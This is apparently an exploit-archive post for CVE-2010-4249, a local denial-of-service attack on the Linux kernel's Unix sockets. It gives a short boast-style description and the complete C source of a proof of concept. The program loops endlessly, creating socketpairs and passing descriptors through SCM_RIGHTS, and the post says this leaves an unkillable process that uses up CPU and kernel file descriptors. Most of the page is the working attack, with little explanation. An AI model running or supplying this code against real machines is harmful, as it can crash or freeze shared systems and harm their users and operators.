ExploitFixes
Linux Kernel Unix Sockets Local Denial of Service - [CVE: 2010-4249] 2010-11-27 11:15:14

Simple kernel attack using socketpair. easy, 100% reproductiblle, works
under guest. no way to protect :(

Simple kernel attack using socketpair. easy, 100% reproductiblle,
works under guest. no way to protect :(

See source attached.

Process become in state 'Running' but not killalble via kill -KILL.

eat 100% CPU, eat all available internal file descriptors in kernel :(

--
Segmentation fault

#include <sys/socket.h>
#include <sys/un.h>

static int send_fd (int unix_fd, int fd)
{
struct msghdr msgh;
struct cmsghdr *cmsg;
char buf[CMSG_SPACE (sizeof (fd))];
memset (&msgh, 0, sizeof (msgh));

memset (buf, 0, sizeof (buf));

msgh.msg_control = buf;
msgh.msg_controllen = sizeof (buf);

cmsg = CMSG_FIRSTHDR (&msgh);
cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
cmsg->cmsg_level = SOL_SOCKET;

cmsg->cmsg_type = SCM_RIGHTS;

msgh.msg_controllen = cmsg->cmsg_len;

memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
return sendmsg (unix_fd, &msgh, 0);
}

int main ()
{
int fd[2], ff[2];

int target;
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
return 1;
for (;;)
{
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
return 2;
send_fd (ff[0], fd[0]);
send_fd (ff[0], fd[1]);

close (fd[1]);
close (fd[0]);
fd[0] = ff[0];
fd[1] = ff[1];
}
}